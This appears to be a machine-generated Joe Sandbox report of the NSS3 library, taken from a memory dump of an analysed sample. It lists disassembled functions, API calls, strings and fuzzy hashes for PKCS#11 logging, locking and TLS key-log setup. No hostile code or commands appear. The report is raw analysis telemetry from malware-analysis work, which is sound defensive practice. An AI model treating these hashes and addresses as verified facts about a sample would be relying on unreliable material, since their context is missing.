EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jcl,00000001), ref: 6C662ADF
PR_Unlock.NSS3(?), ref: 6C662B38
PR_Unlock.NSS3(?), ref: 6C662B8B

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^jcl,00000001,00000000,?,6C636540,?,0000000D,00000000,?), ref: 6C662CA2

Strings

^jcl, xrefs: 6C6629A5
@ecl, xrefs: 6C6629E7, 6C662A1D
@ecl, xrefs: 6C662A18, 6C662A22

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @ecl$@ecl$^jcl
API String ID: 2580468248-329015523
Opcode ID: bdf946a569d0500b08dcaeeafc1fe68708174c4afb5806b8899abd97c1327c20
Instruction ID: 3d557c94f51d4cf33488a496a16689a33ba93e1c9f426a33c058e1eafde81469
Opcode Fuzzy Hash: bdf946a569d0500b08dcaeeafc1fe68708174c4afb5806b8899abd97c1327c20
Instruction Fuzzy Hash: 43B1E270E00205DFDB11DF6AD888B9AB7B5FF09308F148529E945A3F11E731E950CBAA

Function 6C656D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C656D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656DC3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C656DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C656E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C656E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C656E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C656EB9

Strings

pDigest = 0x%p, xrefs: 6C656E27
C_Digest, xrefs: 6C656D81
*pulDigestLen = 0x%x, xrefs: 6C656EB4
ulDataLen = %d, xrefs: 6C656E0E
pulDigestLen = 0x%p, xrefs: 6C656E42
pData = 0x%p, xrefs: 6C656DF5
(CK_INVALID_HANDLE), xrefs: 6C656DBC
nsl, xrefs: 6C656E61, 6C656E95
hSession = 0x%x, xrefs: 6C656D9E, 6C656DAE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nsl
API String ID: 1003633598-847698986
Opcode ID: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction ID: dea5aadda938fa0e4bb4399a8f0d40d75c258f4134852ffe3b055f31f9073f97
Opcode Fuzzy Hash: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction Fuzzy Hash: 0F41D735A02014AFDB009F54DE8DF8A7BB1AB4335DF658034E90897712DB30ED69CB9A

Function 6C658820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C658846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C658874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658883

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C658899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C6588BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C6588D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C6588EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C658907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C658979

Strings

pEncryptedPart = 0x%p, xrefs: 6C6588B5
*pulPartLen = 0x%x, xrefs: 6C658974
pulPartLen = 0x%p, xrefs: 6C658902
pPart = 0x%p, xrefs: 6C6588E7
(CK_INVALID_HANDLE), xrefs: 6C65887C
ulEncryptedPartLen = %d, xrefs: 6C6588CE
nsl, xrefs: 6C658921, 6C658955
C_DecryptVerifyUpdate, xrefs: 6C658841
hSession = 0x%x, xrefs: 6C65885E, 6C65886E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$nsl
API String ID: 1003633598-421240414
Opcode ID: 51aa794999d076a1f70de465850c8c98f845aecd55a9b395cb4e212fe42cdd84
Instruction ID: a923f01142a1b03fc1d0ee9ac63d9b875dca32c5920695dd92e08a7a9ae777e1
Opcode Fuzzy Hash: 51aa794999d076a1f70de465850c8c98f845aecd55a9b395cb4e212fe42cdd84
Instruction Fuzzy Hash: 6041E975902114AFDB009F54DE8CE8E3B71EB4731DF658035E50897B22DB309928CB96

Function 6C656960 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C656986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6569B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6569C3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C6569D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C6569FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C656A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C656A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C656A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C656AB9

Strings

pEncryptedPart = 0x%p, xrefs: 6C6569F5
C_DecryptUpdate, xrefs: 6C656981
*pulPartLen = 0x%x, xrefs: 6C656AB4
pulPartLen = 0x%p, xrefs: 6C656A42
pPart = 0x%p, xrefs: 6C656A27
(CK_INVALID_HANDLE), xrefs: 6C6569BC
ulEncryptedPartLen = %d, xrefs: 6C656A0E
nsl, xrefs: 6C656A61, 6C656A95
hSession = 0x%x, xrefs: 6C65699E, 6C6569AE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate$nsl
API String ID: 1003633598-1755163950
Opcode ID: 8910ffd0132283f0895f750340db776acbcf2860c3c8078953e4457dd1dc6a30
Instruction ID: 2fe5c2d24fcad350d03d5af0bbcda3894a95422d4283af1cbc2b2221741e678d
Opcode Fuzzy Hash: 8910ffd0132283f0895f750340db776acbcf2860c3c8078953e4457dd1dc6a30
Instruction Fuzzy Hash: 4041B975A02115AFDB00CF54DE4DA8E7BB5AB4331DF658034E50897712DB30DD68CB96

Function 6C659C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C659C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C659CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C659CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C659D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C659D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C659D42

Strings

pPin = 0x%p, xrefs: 6C659CF0
pUsername = 0x%p, xrefs: 6C659D24
ulUsernameLen = %d, xrefs: 6C659D3D
userType = 0x%x, xrefs: 6C659CD5
ulPinLen = %d, xrefs: 6C659D0B
(CK_INVALID_HANDLE), xrefs: 6C659C9C
nsl, xrefs: 6C659D5A, 6C659D91
hSession = 0x%x, xrefs: 6C659C7E, 6C659C8E
C_LoginUser, xrefs: 6C659C61

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nsl
API String ID: 1003633598-2613036085
Opcode ID: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction ID: 243aa723a5a0fad3ba0b60637888fe06eb10194d348ca865a96758b6d2408921
Opcode Fuzzy Hash: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction Fuzzy Hash: 7B41EA71A02154AFDB00DF54DE8CE9D7BB5EB4330EFA58034E50857712DB309929CBAA

Function 6C664C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C664C4C
EnterCriticalSection.KERNEL32(?), ref: 6C664C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664DB7

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C664DD7
EnterCriticalSection.KERNEL32(?), ref: 6C664DEC
PR_Unlock.NSS3(?), ref: 6C664E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C664E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C664E71
free.MOZGLUE(00000000), ref: 6C664E7A
PR_Unlock.NSS3(?), ref: 6C664EA2
TlsGetValue.KERNEL32 ref: 6C664EC1
EnterCriticalSection.KERNEL32(?), ref: 6C664ED6
PR_Unlock.NSS3(?), ref: 6C664F01
free.MOZGLUE(00000000), ref: 6C664F2A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction ID: 68374d0582ca3c0c93e742c286f517465d60b472145f01f85129bcac42162441
Opcode Fuzzy Hash: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction Fuzzy Hash: 5DB11071A002059FDB01EF29D894BAA77B4BF0A319F144174ED0597F11EB70E961CBEA

Function 6C6B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6B6BF7), ref: 6C6B6EB6

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C75FC0A,6C6B6BF7), ref: 6C6B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6B6EFC
PR_NewLock.NSS3 ref: 6C6B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6B6BF7), ref: 6C6B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6B6BF7), ref: 6C6B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6B6BF7), ref: 6C6B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6B6BF7), ref: 6C6B6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6B6F4F
SSLFORCELOCKS, xrefs: 6C6B6F2B
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6B6FF8
SSLKEYLOGFILE, xrefs: 6C6B6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6B6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6B6FDB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction ID: 8eec938cda0fc777107fedab3b49623a9d5b08a3e88d622078b70d32cda8061f
Opcode Fuzzy Hash: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction Fuzzy Hash: 4FA13D73A5BD908AE710463CCC013C432A6AF5336AF684375EA31D7ED5DB35E4608369

Function 6C68E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C68E853,?,FFFFFFFF,?,?,6C68B0CC,?,6C68B4A0,?,00000000), ref: 6C68E8D9

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C68E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C68E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C68EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C68EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C68EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C68EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C68EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C68EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C68EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C68EBEC
free.MOZGLUE(00000000), ref: 6C68EC58

Strings

Shl, xrefs: 6C68E9CA, 6C68EAAB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Shl
API String ID: 759478663-4041962663
Opcode ID: 514b0d6c038ae9774a02d6a0f56a25a38fee4cf1f941fe0e6a8bfa5eccff66f7
Instruction ID: 61631da69508871d81313423d505742e211d85fbbedf41a97dd64a588e92d568
Opcode Fuzzy Hash: 514b0d6c038ae9774a02d6a0f56a25a38fee4cf1f941fe0e6a8bfa5eccff66f7
Instruction Fuzzy Hash: 26C1A2B5E022059FEB00CF69D980BAA77B4BF09708F140479E916A7B51E775E804CBF9

Function 6C654E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C654E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654EC7

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C654F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C654F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C654F68

Strings

hObject = 0x%x, xrefs: 6C654EF5, 6C654F05
C_GetAttributeValue, xrefs: 6C654E7E
(CK_INVALID_HANDLE), xrefs: 6C654EC0, 6C654F13
nsl, xrefs: 6C654F82, 6C654FB2
pTemplate = 0x%p, xrefs: 6C654F4A
ulCount = %d, xrefs: 6C654F63
hSession = 0x%x, xrefs: 6C654EA2, 6C654EB2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nsl
API String ID: 1003633598-2028437738
Opcode ID: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction ID: ddfa5ee10c8d28a60f1d0805ac4d7b6e469888e79180d2355b6a96076aa08704
Opcode Fuzzy Hash: cc30b6d4ac1f0a28842bd6e17b353076d57edce8ab49af17de0ceb73c7bd2afc
Instruction Fuzzy Hash: FF410631602114AFDB008B14DE8CFAE77B5AB8331DF658074E50857B12DB319E39CB6A

Function 6C654CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C654CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C654D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D37

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C654D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C654D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C654D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C654DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C654DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C654E20

Strings

hObject = 0x%x, xrefs: 6C654D65, 6C654D75
pulSize = 0x%p, xrefs: 6C654DB7
C_GetObjectSize, xrefs: 6C654CEE
(CK_INVALID_HANDLE), xrefs: 6C654D30, 6C654D83
nsl, xrefs: 6C654DD4, 6C654DFF
hSession = 0x%x, xrefs: 6C654D12, 6C654D22
*pulSize = 0x%x, xrefs: 6C654E1B

Memory Dump Source

